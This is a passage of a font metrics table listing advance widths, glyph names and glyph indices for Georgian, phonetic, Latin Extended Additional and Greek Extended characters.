U 4310 ; WX 667 ; N uni10D6 ; G 1220
U 4311 ; WX 915 ; N uni10D7 ; G 1221
U 4312 ; WX 613 ; N uni10D8 ; G 1222
U 4313 ; WX 600 ; N uni10D9 ; G 1223
U 4314 ; WX 1120 ; N uni10DA ; G 1224
U 4315 ; WX 640 ; N uni10DB ; G 1225
U 4316 ; WX 640 ; N uni10DC ; G 1226
U 4317 ; WX 879 ; N uni10DD ; G 1227
U 4318 ; WX 624 ; N uni10DE ; G 1228
U 4319 ; WX 634 ; N uni10DF ; G 1229
U 4320 ; WX 877 ; N uni10E0 ; G 1230
U 4321 ; WX 666 ; N uni10E1 ; G 1231
U 4322 ; WX 780 ; N uni10E2 ; G 1232
U 4323 ; WX 751 ; N uni10E3 ; G 1233
U 4324 ; WX 869 ; N uni10E4 ; G 1234
U 4325 ; WX 639 ; N uni10E5 ; G 1235
U 4326 ; WX 912 ; N uni10E6 ; G 1236
U 4327 ; WX 622 ; N uni10E7 ; G 1237
U 4328 ; WX 647 ; N uni10E8 ; G 1238
U 4329 ; WX 640 ; N uni10E9 ; G 1239
U 4330 ; WX 729 ; N uni10EA ; G 1240
U 4331 ; WX 641 ; N uni10EB ; G 1241
U 4332 ; WX 630 ; N uni10EC ; G 1242
U 4333 ; WX 629 ; N uni10ED ; G 1243
U 4334 ; WX 670 ; N uni10EE ; G 1244
U 4335 ; WX 753 ; N uni10EF ; G 1245
U 4336 ; WX 625 ; N uni10F0 ; G 1246
U 4337 ; WX 657 ; N uni10F1 ; G 1247
U 4338 ; WX 625 ; N uni10F2 ; G 1248
U 4339 ; WX 625 ; N uni10F3 ; G 1249
U 4340 ; WX 624 ; N uni10F4 ; G 1250
U 4341 ; WX 670 ; N uni10F5 ; G 1251
U 4342 ; WX 940 ; N uni10F6 ; G 1252
U 4343 ; WX 680 ; N uni10F7 ; G 1253
U 4344 ; WX 636 ; N uni10F8 ; G 1254
U 4345 ; WX 672 ; N uni10F9 ; G 1255
U 4346 ; WX 625 ; N uni10FA ; G 1256
U 4347 ; WX 588 ; N uni10FB ; G 1257
U 4348 ; WX 354 ; N uni10FC ; G 1258
U 7424 ; WX 641 ; N uni1D00 ; G 1259
U 7425 ; WX 892 ; N uni1D01 ; G 1260
U 7426 ; WX 940 ; N uni1D02 ; G 1261
U 7427 ; WX 695 ; N uni1D03 ; G 1262
U 7428 ; WX 609 ; N uni1D04 ; G 1263
U 7429 ; WX 675 ; N uni1D05 ; G 1264
U 7430 ; WX 675 ; N uni1D06 ; G 1265
U 7431 ; WX 617 ; N uni1D07 ; G 1266
U 7432 ; WX 509 ; N uni1D08 ; G 1267
U 7433 ; WX 320 ; N uni1D09 ; G 1268
U 7434 ; WX 561 ; N uni1D0A ; G 1269
U 7435 ; WX 722 ; N uni1D0B ; G 1270
U 7436 ; WX 617 ; N uni1D0C ; G 1271
U 7437 ; WX 869 ; N uni1D0D ; G 1272
U 7438 ; WX 737 ; N uni1D0E ; G 1273
U 7439 ; WX 667 ; N uni1D0F ; G 1274
U 7440 ; WX 609 ; N uni1D10 ; G 1275
U 7441 ; WX 628 ; N uni1D11 ; G 1276
U 7442 ; WX 628 ; N uni1D12 ; G 1277
U 7443 ; WX 667 ; N uni1D13 ; G 1278
U 7444 ; WX 989 ; N uni1D14 ; G 1279
U 7445 ; WX 598 ; N uni1D15 ; G 1280
U 7446 ; WX 667 ; N uni1D16 ; G 1281
U 7447 ; WX 667 ; N uni1D17 ; G 1282
U 7448 ; WX 586 ; N uni1D18 ; G 1283
U 7449 ; WX 801 ; N uni1D19 ; G 1284
U 7450 ; WX 801 ; N uni1D1A ; G 1285
U 7451 ; WX 620 ; N uni1D1B ; G 1286
U 7452 ; WX 647 ; N uni1D1C ; G 1287
U 7453 ; WX 664 ; N uni1D1D ; G 1288
U 7454 ; WX 923 ; N uni1D1E ; G 1289
U 7455 ; WX 655 ; N uni1D1F ; G 1290
U 7456 ; WX 581 ; N uni1D20 ; G 1291
U 7457 ; WX 861 ; N uni1D21 ; G 1292
U 7458 ; WX 568 ; N uni1D22 ; G 1293
U 7459 ; WX 568 ; N uni1D23 ; G 1294
U 7460 ; WX 588 ; N uni1D24 ; G 1295
U 7461 ; WX 802 ; N uni1D25 ; G 1296
U 7462 ; WX 586 ; N uni1D26 ; G 1297
U 7463 ; WX 641 ; N uni1D27 ; G 1298
U 7464 ; WX 732 ; N uni1D28 ; G 1299
U 7465 ; WX 586 ; N uni1D29 ; G 1300
U 7466 ; WX 854 ; N uni1D2A ; G 1301
U 7467 ; WX 705 ; N uni1D2B ; G 1302
U 7468 ; WX 489 ; N uni1D2C ; G 1303
U 7469 ; WX 651 ; N uni1D2D ; G 1304
U 7470 ; WX 532 ; N uni1D2E ; G 1305
U 7471 ; WX 532 ; N uni1D2F ; G 1306
U 7472 ; WX 546 ; N uni1D30 ; G 1307
U 7473 ; WX 480 ; N uni1D31 ; G 1308
U 7474 ; WX 480 ; N uni1D32 ; G 1309
U 7475 ; WX 538 ; N uni1D33 ; G 1310
U 7476 ; WX 595 ; N uni1D34 ; G 1311
U 7477 ; WX 294 ; N uni1D35 ; G 1312
U 7478 ; WX 298 ; N uni1D36 ; G 1313
U 7479 ; WX 547 ; N uni1D37 ; G 1314
U 7480 ; WX 443 ; N uni1D38 ; G 1315
U 7481 ; WX 697 ; N uni1D39 ; G 1316
U 7482 ; WX 576 ; N uni1D3A ; G 1317
U 7483 ; WX 606 ; N uni1D3B ; G 1318
U 7484 ; WX 548 ; N uni1D3C ; G 1319
U 7485 ; WX 442 ; N uni1D3D ; G 1320
U 7486 ; WX 474 ; N uni1D3E ; G 1321
U 7487 ; WX 523 ; N uni1D3F ; G 1322
U 7488 ; WX 455 ; N uni1D40 ; G 1323
U 7489 ; WX 469 ; N uni1D41 ; G 1324
U 7490 ; WX 549 ; N uni1D42 ; G 1325
U 7491 ; WX 466 ; N uni1D43 ; G 1326
U 7492 ; WX 466 ; N uni1D44 ; G 1327
U 7493 ; WX 498 ; N uni1D45 ; G 1328
U 7494 ; WX 657 ; N uni1D46 ; G 1329
U 7495 ; WX 499 ; N uni1D47 ; G 1330
U 7496 ; WX 498 ; N uni1D48 ; G 1331
U 7497 ; WX 444 ; N uni1D49 ; G 1332
U 7498 ; WX 444 ; N uni1D4A ; G 1333
U 7499 ; WX 412 ; N uni1D4B ; G 1334
U 7500 ; WX 412 ; N uni1D4C ; G 1335
U 7501 ; WX 498 ; N uni1D4D ; G 1336
U 7502 ; WX 300 ; N uni1D4E ; G 1337
U 7503 ; WX 523 ; N uni1D4F ; G 1338
U 7504 ; WX 729 ; N uni1D50 ; G 1339
U 7505 ; WX 473 ; N uni1D51 ; G 1340
U 7506 ; WX 467 ; N uni1D52 ; G 1341
U 7507 ; WX 427 ; N uni1D53 ; G 1342
U 7508 ; WX 467 ; N uni1D54 ; G 1343
U 7509 ; WX 467 ; N uni1D55 ; G 1344
U 7510 ; WX 499 ; N uni1D56 ; G 1345
U 7511 ; WX 371 ; N uni1D57 ; G 1346
U 7512 ; WX 520 ; N uni1D58 ; G 1347
U 7513 ; WX 418 ; N uni1D59 ; G 1348
U 7514 ; WX 729 ; N uni1D5A ; G 1349
U 7515 ; WX 491 ; N uni1D5B ; G 1350
U 7516 ; WX 505 ; N uni1D5C ; G 1351
U 7517 ; WX 418 ; N uni1D5D ; G 1352
U 7518 ; WX 416 ; N uni1D5E ; G 1353
U 7519 ; WX 420 ; N uni1D5F ; G 1354
U 7520 ; WX 570 ; N uni1D60 ; G 1355
U 7521 ; WX 414 ; N uni1D61 ; G 1356
U 7522 ; WX 239 ; N uni1D62 ; G 1357
U 7523 ; WX 414 ; N uni1D63 ; G 1358
U 7524 ; WX 520 ; N uni1D64 ; G 1359
U 7525 ; WX 491 ; N uni1D65 ; G 1360
U 7526 ; WX 418 ; N uni1D66 ; G 1361
U 7527 ; WX 416 ; N uni1D67 ; G 1362
U 7528 ; WX 419 ; N uni1D68 ; G 1363
U 7529 ; WX 570 ; N uni1D69 ; G 1364
U 7530 ; WX 414 ; N uni1D6A ; G 1365
U 7531 ; WX 1041 ; N uni1D6B ; G 1366
U 7543 ; WX 640 ; N uni1D77 ; G 1367
U 7544 ; WX 595 ; N uni1D78 ; G 1368
U 7547 ; WX 380 ; N uni1D7B ; G 1369
U 7548 ; WX 380 ; N uni1D7C ; G 1370
U 7549 ; WX 699 ; N uni1D7D ; G 1371
U 7550 ; WX 647 ; N uni1D7E ; G 1372
U 7551 ; WX 679 ; N uni1D7F ; G 1373
U 7557 ; WX 380 ; N uni1D85 ; G 1374
U 7579 ; WX 498 ; N uni1D9B ; G 1375
U 7580 ; WX 427 ; N uni1D9C ; G 1376
U 7581 ; WX 427 ; N uni1D9D ; G 1377
U 7582 ; WX 467 ; N uni1D9E ; G 1378
U 7583 ; WX 412 ; N uni1D9F ; G 1379
U 7584 ; WX 383 ; N uni1DA0 ; G 1380
U 7585 ; WX 373 ; N uni1DA1 ; G 1381
U 7586 ; WX 498 ; N uni1DA2 ; G 1382
U 7587 ; WX 522 ; N uni1DA3 ; G 1383
U 7588 ; WX 300 ; N uni1DA4 ; G 1384
U 7589 ; WX 307 ; N uni1DA5 ; G 1385
U 7590 ; WX 300 ; N uni1DA6 ; G 1386
U 7591 ; WX 300 ; N uni1DA7 ; G 1387
U 7592 ; WX 370 ; N uni1DA8 ; G 1388
U 7593 ; WX 368 ; N uni1DA9 ; G 1389
U 7594 ; WX 321 ; N uni1DAA ; G 1390
U 7595 ; WX 430 ; N uni1DAB ; G 1391
U 7596 ; WX 682 ; N uni1DAC ; G 1392
U 7597 ; WX 729 ; N uni1DAD ; G 1393
U 7598 ; WX 588 ; N uni1DAE ; G 1394
U 7599 ; WX 587 ; N uni1DAF ; G 1395
U 7600 ; WX 472 ; N uni1DB0 ; G 1396
U 7601 ; WX 467 ; N uni1DB1 ; G 1397
U 7602 ; WX 522 ; N uni1DB2 ; G 1398
U 7603 ; WX 400 ; N uni1DB3 ; G 1399
U 7604 ; WX 387 ; N uni1DB4 ; G 1400
U 7605 ; WX 371 ; N uni1DB5 ; G 1401
U 7606 ; WX 520 ; N uni1DB6 ; G 1402
U 7607 ; WX 475 ; N uni1DB7 ; G 1403
U 7608 ; WX 408 ; N uni1DB8 ; G 1404
U 7609 ; WX 489 ; N uni1DB9 ; G 1405
U 7610 ; WX 491 ; N uni1DBA ; G 1406
U 7611 ; WX 412 ; N uni1DBB ; G 1407
U 7612 ; WX 527 ; N uni1DBC ; G 1408
U 7613 ; WX 412 ; N uni1DBD ; G 1409
U 7614 ; WX 452 ; N uni1DBE ; G 1410
U 7615 ; WX 467 ; N uni1DBF ; G 1411
U 7620 ; WX 0 ; N uni1DC4 ; G 1412
U 7621 ; WX 0 ; N uni1DC5 ; G 1413
U 7622 ; WX 0 ; N uni1DC6 ; G 1414
U 7623 ; WX 0 ; N uni1DC7 ; G 1415
U 7624 ; WX 0 ; N uni1DC8 ; G 1416
U 7625 ; WX 0 ; N uni1DC9 ; G 1417
U 7680 ; WX 776 ; N uni1E00 ; G 1418
U 7681 ; WX 648 ; N uni1E01 ; G 1419
U 7682 ; WX 845 ; N uni1E02 ; G 1420
U 7683 ; WX 699 ; N uni1E03 ; G 1421
U 7684 ; WX 845 ; N uni1E04 ; G 1422
U 7685 ; WX 699 ; N uni1E05 ; G 1423
U 7686 ; WX 845 ; N uni1E06 ; G 1424
U 7687 ; WX 699 ; N uni1E07 ; G 1425
U 7688 ; WX 796 ; N uni1E08 ; G 1426
U 7689 ; WX 609 ; N uni1E09 ; G 1427
U 7690 ; WX 867 ; N uni1E0A ; G 1428
U 7691 ; WX 699 ; N uni1E0B ; G 1429
U 7692 ; WX 867 ; N uni1E0C ; G 1430
U 7693 ; WX 699 ; N uni1E0D ; G 1431
U 7694 ; WX 867 ; N uni1E0E ; G 1432
U 7695 ; WX 699 ; N uni1E0F ; G 1433
U 7696 ; WX 867 ; N uni1E10 ; G 1434
U 7697 ; WX 699 ; N uni1E11 ; G 1435
U 7698 ; WX 867 ; N uni1E12 ; G 1436
U 7699 ; WX 699 ; N uni1E13 ; G 1437
U 7700 ; WX 762 ; N uni1E14 ; G 1438
U 7701 ; WX 636 ; N uni1E15 ; G 1439
U 7702 ; WX 762 ; N uni1E16 ; G 1440
U 7703 ; WX 636 ; N uni1E17 ; G 1441
U 7704 ; WX 762 ; N uni1E18 ; G 1442
U 7705 ; WX 636 ; N uni1E19 ; G 1443
U 7706 ; WX 762 ; N uni1E1A ; G 1444
U 7707 ; WX 636 ; N uni1E1B ; G 1445
U 7708 ; WX 762 ; N uni1E1C ; G 1446
U 7709 ; WX 636 ; N uni1E1D ; G 1447
U 7710 ; WX 710 ; N uni1E1E ; G 1448
U 7711 ; WX 430 ; N uni1E1F ; G 1449
U 7712 ; WX 854 ; N uni1E20 ; G 1450
U 7713 ; WX 699 ; N uni1E21 ; G 1451
U 7714 ; WX 945 ; N uni1E22 ; G 1452
U 7715 ; WX 727 ; N uni1E23 ; G 1453
U 7716 ; WX 945 ; N uni1E24 ; G 1454
U 7717 ; WX 727 ; N uni1E25 ; G 1455
U 7718 ; WX 945 ; N uni1E26 ; G 1456
U 7719 ; WX 727 ; N uni1E27 ; G 1457
U 7720 ; WX 945 ; N uni1E28 ; G 1458
U 7721 ; WX 727 ; N uni1E29 ; G 1459
U 7722 ; WX 945 ; N uni1E2A ; G 1460
U 7723 ; WX 727 ; N uni1E2B ; G 1461
U 7724 ; WX 468 ; N uni1E2C ; G 1462
U 7725 ; WX 380 ; N uni1E2D ; G 1463
U 7726 ; WX 468 ; N uni1E2E ; G 1464
U 7727 ; WX 380 ; N uni1E2F ; G 1465
U 7728 ; WX 869 ; N uni1E30 ; G 1466
U 7729 ; WX 693 ; N uni1E31 ; G 1467
U 7730 ; WX 869 ; N uni1E32 ; G 1468
U 7731 ; WX 693 ; N uni1E33 ; G 1469
U 7732 ; WX 869 ; N uni1E34 ; G 1470
U 7733 ; WX 693 ; N uni1E35 ; G 1471
U 7734 ; WX 703 ; N uni1E36 ; G 1472
U 7735 ; WX 380 ; N uni1E37 ; G 1473
U 7736 ; WX 703 ; N uni1E38 ; G 1474
U 7737 ; WX 380 ; N uni1E39 ; G 1475
U 7738 ; WX 703 ; N uni1E3A ; G 1476
U 7739 ; WX 380 ; N uni1E3B ; G 1477
U 7740 ; WX 703 ; N uni1E3C ; G 1478
U 7741 ; WX 380 ; N uni1E3D ; G 1479
U 7742 ; WX 1107 ; N uni1E3E ; G 1480
U 7743 ; WX 1058 ; N uni1E3F ; G 1481
U 7744 ; WX 1107 ; N uni1E40 ; G 1482
U 7745 ; WX 1058 ; N uni1E41 ; G 1483
U 7746 ; WX 1107 ; N uni1E42 ; G 1484
U 7747 ; WX 1058 ; N uni1E43 ; G 1485
U 7748 ; WX 914 ; N uni1E44 ; G 1486
U 7749 ; WX 727 ; N uni1E45 ; G 1487
U 7750 ; WX 914 ; N uni1E46 ; G 1488
U 7751 ; WX 727 ; N uni1E47 ; G 1489
U 7752 ; WX 914 ; N uni1E48 ; G 1490
U 7753 ; WX 727 ; N uni1E49 ; G 1491
U 7754 ; WX 914 ; N uni1E4A ; G 1492
U 7755 ; WX 727 ; N uni1E4B ; G 1493
U 7756 ; WX 871 ; N uni1E4C ; G 1494
U 7757 ; WX 667 ; N uni1E4D ; G 1495
U 7758 ; WX 871 ; N uni1E4E ; G 1496
U 7759 ; WX 667 ; N uni1E4F ; G 1497
U 7760 ; WX 871 ; N uni1E50 ; G 1498
U 7761 ; WX 667 ; N uni1E51 ; G 1499
U 7762 ; WX 871 ; N uni1E52 ; G 1500
U 7763 ; WX 667 ; N uni1E53 ; G 1501
U 7764 ; WX 752 ; N uni1E54 ; G 1502
U 7765 ; WX 699 ; N uni1E55 ; G 1503
U 7766 ; WX 752 ; N uni1E56 ; G 1504
U 7767 ; WX 699 ; N uni1E57 ; G 1505
U 7768 ; WX 831 ; N uni1E58 ; G 1506
U 7769 ; WX 527 ; N uni1E59 ; G 1507
U 7770 ; WX 831 ; N uni1E5A ; G 1508
U 7771 ; WX 527 ; N uni1E5B ; G 1509
U 7772 ; WX 831 ; N uni1E5C ; G 1510
U 7773 ; WX 527 ; N uni1E5D ; G 1511
U 7774 ; WX 831 ; N uni1E5E ; G 1512
U 7775 ; WX 527 ; N uni1E5F ; G 1513
U 7776 ; WX 722 ; N uni1E60 ; G 1514
U 7777 ; WX 563 ; N uni1E61 ; G 1515
U 7778 ; WX 722 ; N uni1E62 ; G 1516
U 7779 ; WX 563 ; N uni1E63 ; G 1517
U 7780 ; WX 722 ; N uni1E64 ; G 1518
U 7781 ; WX 563 ; N uni1E65 ; G 1519
U 7782 ; WX 722 ; N uni1E66 ; G 1520
U 7783 ; WX 563 ; N uni1E67 ; G 1521
U 7784 ; WX 722 ; N uni1E68 ; G 1522
U 7785 ; WX 563 ; N uni1E69 ; G 1523
U 7786 ; WX 744 ; N uni1E6A ; G 1524
U 7787 ; WX 462 ; N uni1E6B ; G 1525
U 7788 ; WX 744 ; N uni1E6C ; G 1526
U 7789 ; WX 462 ; N uni1E6D ; G 1527
U 7790 ; WX 744 ; N uni1E6E ; G 1528
U 7791 ; WX 462 ; N uni1E6F ; G 1529
U 7792 ; WX 744 ; N uni1E70 ; G 1530
U 7793 ; WX 462 ; N uni1E71 ; G 1531
U 7794 ; WX 872 ; N uni1E72 ; G 1532
U 7795 ; WX 727 ; N uni1E73 ; G 1533
U 7796 ; WX 872 ; N uni1E74 ; G 1534
U 7797 ; WX 727 ; N uni1E75 ; G 1535
U 7798 ; WX 872 ; N uni1E76 ; G 1536
U 7799 ; WX 727 ; N uni1E77 ; G 1537
U 7800 ; WX 872 ; N uni1E78 ; G 1538
U 7801 ; WX 727 ; N uni1E79 ; G 1539
U 7802 ; WX 872 ; N uni1E7A ; G 1540
U 7803 ; WX 727 ; N uni1E7B ; G 1541
U 7804 ; WX 776 ; N uni1E7C ; G 1542
U 7805 ; WX 581 ; N uni1E7D ; G 1543
U 7806 ; WX 776 ; N uni1E7E ; G 1544
U 7807 ; WX 581 ; N uni1E7F ; G 1545
U 7808 ; WX 1123 ; N Wgrave ; G 1546
U 7809 ; WX 861 ; N wgrave ; G 1547
U 7810 ; WX 1123 ; N Wacute ; G 1548
U 7811 ; WX 861 ; N wacute ; G 1549
U 7812 ; WX 1123 ; N Wdieresis ; G 1550
U 7813 ; WX 861 ; N wdieresis ; G 1551
U 7814 ; WX 1123 ; N uni1E86 ; G 1552
U 7815 ; WX 861 ; N uni1E87 ; G 1553
U 7816 ; WX 1123 ; N uni1E88 ; G 1554
U 7817 ; WX 861 ; N uni1E89 ; G 1555
U 7818 ; WX 776 ; N uni1E8A ; G 1556
U 7819 ; WX 596 ; N uni1E8B ; G 1557
U 7820 ; WX 776 ; N uni1E8C ; G 1558
U 7821 ; WX 596 ; N uni1E8D ; G 1559
U 7822 ; WX 714 ; N uni1E8E ; G 1560
U 7823 ; WX 581 ; N uni1E8F ; G 1561
U 7824 ; WX 730 ; N uni1E90 ; G 1562
U 7825 ; WX 568 ; N uni1E91 ; G 1563
U 7826 ; WX 730 ; N uni1E92 ; G 1564
U 7827 ; WX 568 ; N uni1E93 ; G 1565
U 7828 ; WX 730 ; N uni1E94 ; G 1566
U 7829 ; WX 568 ; N uni1E95 ; G 1567
U 7830 ; WX 727 ; N uni1E96 ; G 1568
U 7831 ; WX 462 ; N uni1E97 ; G 1569
U 7832 ; WX 861 ; N uni1E98 ; G 1570
U 7833 ; WX 581 ; N uni1E99 ; G 1571
U 7834 ; WX 1014 ; N uni1E9A ; G 1572
U 7835 ; WX 430 ; N uni1E9B ; G 1573
U 7836 ; WX 430 ; N uni1E9C ; G 1574
U 7837 ; WX 430 ; N uni1E9D ; G 1575
U 7838 ; WX 947 ; N uni1E9E ; G 1576
U 7839 ; WX 667 ; N uni1E9F ; G 1577
U 7840 ; WX 776 ; N uni1EA0 ; G 1578
U 7841 ; WX 648 ; N uni1EA1 ; G 1579
U 7842 ; WX 776 ; N uni1EA2 ; G 1580
U 7843 ; WX 648 ; N uni1EA3 ; G 1581
U 7844 ; WX 776 ; N uni1EA4 ; G 1582
U 7845 ; WX 648 ; N uni1EA5 ; G 1583
U 7846 ; WX 776 ; N uni1EA6 ; G 1584
U 7847 ; WX 648 ; N uni1EA7 ; G 1585
U 7848 ; WX 776 ; N uni1EA8 ; G 1586
U 7849 ; WX 648 ; N uni1EA9 ; G 1587
U 7850 ; WX 776 ; N uni1EAA ; G 1588
U 7851 ; WX 648 ; N uni1EAB ; G 1589
U 7852 ; WX 776 ; N uni1EAC ; G 1590
U 7853 ; WX 648 ; N uni1EAD ; G 1591
U 7854 ; WX 776 ; N uni1EAE ; G 1592
U 7855 ; WX 648 ; N uni1EAF ; G 1593
U 7856 ; WX 776 ; N uni1EB0 ; G 1594
U 7857 ; WX 648 ; N uni1EB1 ; G 1595
U 7858 ; WX 776 ; N uni1EB2 ; G 1596
U 7859 ; WX 648 ; N uni1EB3 ; G 1597
U 7860 ; WX 776 ; N uni1EB4 ; G 1598
U 7861 ; WX 648 ; N uni1EB5 ; G 1599
U 7862 ; WX 776 ; N uni1EB6 ; G 1600
U 7863 ; WX 648 ; N uni1EB7 ; G 1601
U 7864 ; WX 762 ; N uni1EB8 ; G 1602
U 7865 ; WX 636 ; N uni1EB9 ; G 1603
U 7866 ; WX 762 ; N uni1EBA ; G 1604
U 7867 ; WX 636 ; N uni1EBB ; G 1605
U 7868 ; WX 762 ; N uni1EBC ; G 1606
U 7869 ; WX 636 ; N uni1EBD ; G 1607
U 7870 ; WX 762 ; N uni1EBE ; G 1608
U 7871 ; WX 636 ; N uni1EBF ; G 1609
U 7872 ; WX 762 ; N uni1EC0 ; G 1610
U 7873 ; WX 636 ; N uni1EC1 ; G 1611
U 7874 ; WX 762 ; N uni1EC2 ; G 1612
U 7875 ; WX 636 ; N uni1EC3 ; G 1613
U 7876 ; WX 762 ; N uni1EC4 ; G 1614
U 7877 ; WX 636 ; N uni1EC5 ; G 1615
U 7878 ; WX 762 ; N uni1EC6 ; G 1616
U 7879 ; WX 636 ; N uni1EC7 ; G 1617
U 7880 ; WX 468 ; N uni1EC8 ; G 1618
U 7881 ; WX 380 ; N uni1EC9 ; G 1619
U 7882 ; WX 468 ; N uni1ECA ; G 1620
U 7883 ; WX 380 ; N uni1ECB ; G 1621
U 7884 ; WX 871 ; N uni1ECC ; G 1622
U 7885 ; WX 667 ; N uni1ECD ; G 1623
U 7886 ; WX 871 ; N uni1ECE ; G 1624
U 7887 ; WX 667 ; N uni1ECF ; G 1625
U 7888 ; WX 871 ; N uni1ED0 ; G 1626
U 7889 ; WX 667 ; N uni1ED1 ; G 1627
U 7890 ; WX 871 ; N uni1ED2 ; G 1628
U 7891 ; WX 667 ; N uni1ED3 ; G 1629
U 7892 ; WX 871 ; N uni1ED4 ; G 1630
U 7893 ; WX 667 ; N uni1ED5 ; G 1631
U 7894 ; WX 871 ; N uni1ED6 ; G 1632
U 7895 ; WX 667 ; N uni1ED7 ; G 1633
U 7896 ; WX 871 ; N uni1ED8 ; G 1634
U 7897 ; WX 667 ; N uni1ED9 ; G 1635
U 7898 ; WX 871 ; N uni1EDA ; G 1636
U 7899 ; WX 667 ; N uni1EDB ; G 1637
U 7900 ; WX 871 ; N uni1EDC ; G 1638
U 7901 ; WX 667 ; N uni1EDD ; G 1639
U 7902 ; WX 871 ; N uni1EDE ; G 1640
U 7903 ; WX 667 ; N uni1EDF ; G 1641
U 7904 ; WX 871 ; N uni1EE0 ; G 1642
U 7905 ; WX 667 ; N uni1EE1 ; G 1643
U 7906 ; WX 871 ; N uni1EE2 ; G 1644
U 7907 ; WX 667 ; N uni1EE3 ; G 1645
U 7908 ; WX 872 ; N uni1EE4 ; G 1646
U 7909 ; WX 727 ; N uni1EE5 ; G 1647
U 7910 ; WX 872 ; N uni1EE6 ; G 1648
U 7911 ; WX 727 ; N uni1EE7 ; G 1649
U 7912 ; WX 872 ; N uni1EE8 ; G 1650
U 7913 ; WX 727 ; N uni1EE9 ; G 1651
U 7914 ; WX 872 ; N uni1EEA ; G 1652
U 7915 ; WX 727 ; N uni1EEB ; G 1653
U 7916 ; WX 872 ; N uni1EEC ; G 1654
U 7917 ; WX 727 ; N uni1EED ; G 1655
U 7918 ; WX 872 ; N uni1EEE ; G 1656
U 7919 ; WX 727 ; N uni1EEF ; G 1657
U 7920 ; WX 872 ; N uni1EF0 ; G 1658
U 7921 ; WX 727 ; N uni1EF1 ; G 1659
U 7922 ; WX 714 ; N Ygrave ; G 1660
U 7923 ; WX 581 ; N ygrave ; G 1661
U 7924 ; WX 714 ; N uni1EF4 ; G 1662
U 7925 ; WX 581 ; N uni1EF5 ; G 1663
U 7926 ; WX 714 ; N uni1EF6 ; G 1664
U 7927 ; WX 581 ; N uni1EF7 ; G 1665
U 7928 ; WX 714 ; N uni1EF8 ; G 1666
U 7929 ; WX 581 ; N uni1EF9 ; G 1667
U 7930 ; WX 1078 ; N uni1EFA ; G 1668
U 7931 ; WX 701 ; N uni1EFB ; G 1669
U 7936 ; WX 770 ; N uni1F00 ; G 1670
U 7937 ; WX 770 ; N uni1F01 ; G 1671
U 7938 ; WX 770 ; N uni1F02 ; G 1672
U 7939 ; WX 770 ; N uni1F03 ; G 1673
U 7940 ; WX 770 ; N uni1F04 ; G 1674
U 7941 ; WX 770 ; N uni1F05 ; G 1675
U 7942 ; WX 770 ; N uni1F06 ; G 1676
U 7943 ; WX 770 ; N uni1F07 ; G 1677
U 7944 ; WX 776 ; N uni1F08 ; G 1678
U 7945 ; WX 776 ; N uni1F09 ; G 1679
U 7946 ; WX 978 ; N uni1F0A ; G 1680
U 7947 ; WX 978 ; N uni1F0B ; G 1681
U 7948 ; WX 832 ; N uni1F0C ; G 1682
U 7949 ; WX 849 ; N uni1F0D ; G 1683
U 7950 ; WX 776 ; N uni1F0E ; G 1684
U 7951 ; WX 776 ; N uni1F0F ; G 1685
U 7952 ; WX 608 ; N uni1F10 ; G 1686
U 7953 ; WX 608 ; N uni1F11 ; G 1687
U 7954 ; WX 608 ; N uni1F12 ; G 1688
U 7955 ; WX 608 ; N uni1F13 ; G 1689
U 7956 ; WX 608 ; N uni1F14 ; G 1690
U 7957 ; WX 608 ; N uni1F15 ; G 1691
U 7960 ; WX 917 ; N uni1F18 ; G 1692
U 7961 ; WX 909 ; N uni1F19 ; G 1693
U 7962 ; WX 1169 ; N uni1F1A ; G 1694
U 7963 ; WX 1169 ; N uni1F1B ; G 1695
U 7964 ; WX 1093 ; N uni1F1C ; G 1696
U 7965 ; WX 1120 ; N uni1F1D ; G 1697
U 7968 ; WX 727 ; N uni1F20 ; G 1698
U 7969 ; WX 727 ; N uni1F21 ; G 1699
U 7970 ; WX 727 ; N uni1F22 ; G 1700
U 7971 ; WX 727 ; N uni1F23 ; G 1701
U 7972 ; WX 727 ; N uni1F24 ; G 1702
U 7973 ; WX 727 ; N uni1F25 ; G 1703
U 7974 ; WX 727 ; N uni1F26 ; G 1704
U 7975 ; WX 727 ; N uni1F27 ; G 1705
U 7976 ; WX 1100 ; N uni1F28 ; G 1706
U 7977 ; WX 1094 ; N uni1F29 ; G 1707
U 7978 ; WX 1358 ; N uni1F2A ; G 1708
U 7979 ; WX 1361 ; N uni1F2B ; G 1709
U 7980 ; WX 1279 ; N uni1F2C ; G 1710
U 7981 ; WX 1308 ; N uni1F2D ; G 1711
U 7982 ; WX 1197 ; N uni1F2E ; G 1712
U 7983 ; WX 1194 ; N uni1F2F ; G 1713
U 7984 ; WX 484 ; N uni1F30 ; G 1714
U 7985 ; WX 484 ; N uni1F31 ; G 1715
U 7986 ; WX 484 ; N uni1F32 ; G 1716
U 7987 ; WX 484 ; N uni1F33 ; G 1717
U 7988 ; WX 484 ; N uni1F34 ; G 1718
U 7989 ; WX 484 ; N uni1F35 ; G 1719
U 7990 ; WX 484 ; N uni1F36 ; G 1720
U 7991 ; WX 484 ; N uni1F37 ; G 1721
U 7992 ; WX 629 ; N uni1F38 ; G 1722
U 7993 ; WX 617 ; N uni1F39 ; G 1723
U 7994 ; WX 878 ; N uni1F3A ; G 1724
U 7995 ; WX 881 ; N uni1F3B ; G 1725
U 7996 ; WX 799 ; N uni1F3C ; G 1726
U 7997 ; WX 831 ; N uni1F3D ; G 1727
U 7998 ; WX 723 ; N uni1F3E ; G 1728
U 7999 ; WX 714 ; N uni1F3F ; G 1729
U 8000 ; WX 667 ; N uni1F40 ; G 1730
U 8001 ; WX 667 ; N uni1F41 ; G 1731
U 8002 ; WX 667 ; N uni1F42 ; G 1732
U 8003 ; WX 667 ; N uni1F43 ; G 1733
U 8004 ; WX 667 ; N uni1F44 ; G 1734
U 8005 ; WX 667 ; N uni1F45 ; G 1735
U 8008 ; WX 900 ; N uni1F48 ; G 1736
U 8009 ; WX 935 ; N uni1F49 ; G 1737
U 8010 ; WX 1240 ; N uni1F4A ; G 1738
U 8011 ; WX 1237 ; N uni1F4B ; G 1739
U 8012 ; WX 1035 ; N uni1F4C ; G 1740
U 8013 ; WX 1066 ; N uni1F4D ; G 1741
U 8016 ; WX 694 ; N uni1F50 ; G 1742
U 8017 ; WX 694 ; N uni1F51 ; G 1743
U 8018 ; WX 694 ; N uni1F52 ; G 1744
U 8019 ; WX 694 ; N uni1F53 ; G 1745
U 8020 ; WX 694 ; N uni1F54 ; G 1746
U 8021 ; WX 694 ; N uni1F55 ; G 1747
U 8022 ; WX 694 ; N uni1F56 ; G 1748
U 8023 ; WX 694 ; N uni1F57 ; G 1749
U 8025 ; WX 922 ; N uni1F59 ; G 1750
U 8027 ; WX 1186 ; N uni1F5B ; G 1751
